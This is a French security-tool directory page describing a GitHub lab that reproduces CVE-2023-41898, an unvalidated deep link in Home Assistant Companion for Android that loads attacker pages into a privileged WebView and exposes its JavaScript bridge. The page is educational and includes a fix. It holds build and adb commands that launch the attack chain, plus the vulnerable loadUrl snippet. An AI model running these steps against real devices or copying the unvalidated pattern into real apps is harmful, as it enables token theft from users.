Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-41898_Lab — Guide pas à pas de CVE-2023-41898 : exploiter un lien profond non validé dans Home Assistant Android pour charger des URL arbitraires dans une WebView privilégiée et divulguer un faux jeton. | Kitploit
Outils/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Sécurité AndroidAnalyse des VulnérabilitésPentesting d'Applications MobilesApprentissage et ÉducationLabs et Pratique
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

Guide pas à pas de CVE-2023-41898 : exploiter un lien profond non validé dans Home Assistant Android pour charger des URL arbitraires dans une WebView privilégiée et divulguer un faux jeton.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
3il y a 1 moisPas encore vérifié

CVE-2023-41898 Unvalidated Deep Link Lab

Il s'agit d'un laboratoire de reproduction pédagogique à taille réduite, basé sur le rapport de vulnérabilité publique (GHSL-2023-142) de Home Assistant Companion pour Android et sur la structure open source de la version vulnérable 2023.8.2.

Aucun serveur, compte ou jeton Home Assistant réel n'est utilisé. Seul un jeton fictif fixe nommé LAB_TOKEN_CVE_2023_41898_NOT_REAL est exposé.

Aperçu de la vulnérabilité

  • Cible : Home Assistant Companion pour Android
  • Versions affectées : antérieures à 2023.9.2 (selon l'avis officiel)
  • Version corrigée : 2023.9.2
  • Classification : gestion de liens profonds non validée / chargement d'URL arbitraire dans WebView
  • Conséquences : exécution arbitraire de JavaScript, appel de fonctionnalités natives limitées, vol possible d'informations d'authentification

Structure du laboratoire

root@kitploit:~
Attacker App
  │ Intent explicite ACTION_VIEW
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ WebView.loadUrl() avec JavaScript activé, sans validation
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (WebView privilégié)
  │ exposition du bridge JavaScript externalApp à la page de l'attaquant
  ▼
Affichage du LAB_TOKEN fictif

L'intent-filter du manifest Android ne fait que définir quelles URI correspondent aux intents implicites ; il ne valide pas automatiquement l'URI de données d'un Intent dont le composant est explicitement désigné.

Composants

  • victim/ : application reproduisant le gestionnaire de liens profonds vulnérable et le WebView privilégié
  • attacker/ : application envoyant un Intent explicite à l'Activity exportée de l'application victime
  • web/ : pages d'attaque des étapes 1 et 2 servies localement
  • dist/ : APK de débogage validés
  • UPSTREAM.md : correspondance entre le code source original et l'implémentation du laboratoire

Compilation

Prérequis : JDK 17 ou supérieur, Android SDK 36, cache Gradle/Android Gradle Plugin ou connexion Internet.

root@kitploit:~
./gradlew :victim:assembleDebug :attacker:assembleDebug

Installation et mise en pratique

À exécuter uniquement sur un émulateur autorisé ou un appareil de test.

1. Installation des APK

root@kitploit:~
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. Lancement de la page d'attaque locale

Depuis la racine du laboratoire, exécutez la commande suivante.

root@kitploit:~
python3 -m http.server 8000 --directory web

Dans l'émulateur par défaut d'Android Studio, 10.0.2.2 pointe vers la boucle locale du PC hôte. Si vous utilisez un appareil de test réel, remplacez l'URL dans web/exploit.html et dans l'application d'attaque par l'adresse IP LAN du PC.

3. Vérification du déroulement de l'attaque

  1. Installez les applications CVE-2023-41898 Victim et CVE-2023-41898 Attacker.
  2. Lancez le serveur HTTP local.
  3. Dans l'application Attacker, appuyez sur Exécuter le flux de lien profond vulnérable.
  4. La première page d'attaque redirige vers l'URL interne homeassistant://navigate/.
  5. Vérifiez que la page de l'attaquant est chargée dans la seconde WebView et que LAB_TOKEN_CVE_2023_41898_NOT_REAL s'affiche.

Vous pouvez également déclencher la première étape via ADB, sans l'application d'attaque.

root@kitploit:~
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

Code vulnérable et pistes de correction

L'implémentation vulnérable charge l'URI externe telle quelle.

root@kitploit:~
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

Lors de la correction, le scheme, l'hôte, le port et le chemin de l'URI analysée doivent être validés par une allowlist stricte. Les comparaisons de chaînes avec startsWith doivent être évitées, car elles présentent des risques de contournement via les informations utilisateur ([email protected]), les sous-domaines et l'encodage.

root@kitploit:~
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

En outre, il convient de supprimer tout JavaScript et JavascriptInterface inutiles dans la WebView, et d'appliquer la même validation d'URL à toutes les navigations et redirections.

Périmètre de sécurité et différences avec l'original

  • Le flux de données vulnérable est reproduit dans un petit projet Java sans compiler l'ensemble de l'application d'origine.
  • Aucun nom de paquet réel, stockage d'authentification, communication serveur ou fonctionnalité domotique n'est inclus.
  • Un jeton fictif fixe remplace tout jeton d'authentification réel.
  • Seul le serveur HTTP local du PC hôte est utilisé, et non un serveur d'attaque distant sur Internet.

Références

  • GitHub Security Lab GHSL-2023-142 : https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Avis de sécurité Home Assistant GHSA-jvpm-q3hq-86rg : https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • Tag source de la version vulnérable 2023.8.2 : https://github.com/home-assistant/android/tree/2023.8.2
Télécharger l’outil